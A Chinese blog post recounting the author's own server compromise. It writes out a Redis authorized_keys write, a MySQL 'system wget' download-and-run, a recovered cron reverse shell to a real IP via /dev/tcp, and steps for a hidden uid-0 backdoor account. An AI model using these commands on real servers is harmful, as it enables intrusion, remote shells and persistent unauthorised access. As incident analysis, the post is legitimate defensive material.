服务器提权之一二

服务器提权

我理解提权是使用非正规手段, 非法途径, 获取他人服务器权限的行为.

我们这里讲述一下最近我的一台服务器被提权的经历.

表现为被挂马

服务器 cpu 很高, 一直执行很多不熟悉的命令

ps -ef
/usr/bin/dpkgd/ps -ef
netstat -anp
/usr/bin/dpkgd/netstat -anp
/etc/.zl
/tmp/.lz1449998352
irqbalance
sh -c top -bn 1 | grep Cpu | cut -d "," -f 1 | cut -d ":" -f 2
sh -c netstat -anp | grep ":10993" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m > /dev/null
sh -c netstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m > /dev/null

有非正常权限

/root/.ssh/authorized_keys

提权手法 A - Redis 无授权提权

// 没有使用密码
redis-cli -h xxx.xxx.xxx.xxx -p 6379
// 没有屏蔽config命令
config get dir
// 判断是否使用root权限启动的redis, 将redis存储路径设置到ssh路径下
config set dir /root/.ssh
config set dbfilename authorized_keys

提权手法 B - MySQL 外网无密码提权

// 没有使用密码, 并且开启了% 的Host
mysql -h xxx.xxx.xxx.xxx -P 3306 -u root
// 可执行system语句
system wget http://xxxx
system chmod +x xxxx;
system ./xxxx;

提权后后门的清理

在没有完全清理好的黑客现场,我们可以发现一些蛛丝马迹:

Redis 中发现:

127.0.0.1:6379> get c
“\n\n* * * * _ exec 9<> /dev/tcp/50.23.190.40/53;exec 0<&9;exec 1>&9 2>&1;/bin/bash –noprofile -i\n\n\n”
127.0.0.1:6379> get a
“ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC40iuGOAWwFUw3E94aeqQ2LoHu5UZHc2DBjOmPUL2DwWEObsqDIGyQ/mFSgY5VcMLjX3ZP5q/ba7+D13NBka1uqYujq+GDkd8la1fm6veaKzdwkzWFtuYO+AiPalQO4TYuEEht9qtQnSKVDLtc3jKI9GrzSNyKGyxc/VartlNYaYQNSNRSU2WXUHS1sEOv/m9n90KN4Qx/fsK00X1fPqQXc1O7/O9kN/ubeee+u/DBn3d+9KUreQyM2csElylEsmNLlr37FBuJ6cuvimq278YFC5mQa0xcKXSEeQo8CQOh7907A8Ot+6TvIqu4sznsAbfJ5bD+z7mjZMfkH18/+8M/ r0073r@l0c4lh05t\n”
127.0.0.1:6379> get u
“\n_ * * * * useradd -p openssl passwd -1 -salt 'hax0r' pass user\n\n”

127.0.0.1:6379> config get dir

  1. “dir”

  2. “/root/.ssh”

    127.0.0.1:6379> config get dbfilename

  3. “dbfilename”

  4. “authorized_keys”

那么在执行 bgsave 的时候, 就会轻易的将数据写入到 /root/.ssh 目录下的 authorized_keys 文件中. 获取对机器的权限

在获取执行权限后, 还用户登陆后使用 useradd 命令随意增加账户(例如 syss), 并设置密码
打开/etc/passwd 文件,修改新增加用户所在行
syss:x:0:0::/usr/local:/bin/bash

su syss 进入 syss 用户
ssh-keygen -t rsa 生成一个 key 存放到/usr/local/.ssh 目录

即可清扫, 之后便可以使用 syss 和/usr/local/.ssh 下的授权文件进行计算机登陆了~

Donate - Support to make this site better.
捐助 - 支持我让我做得更好.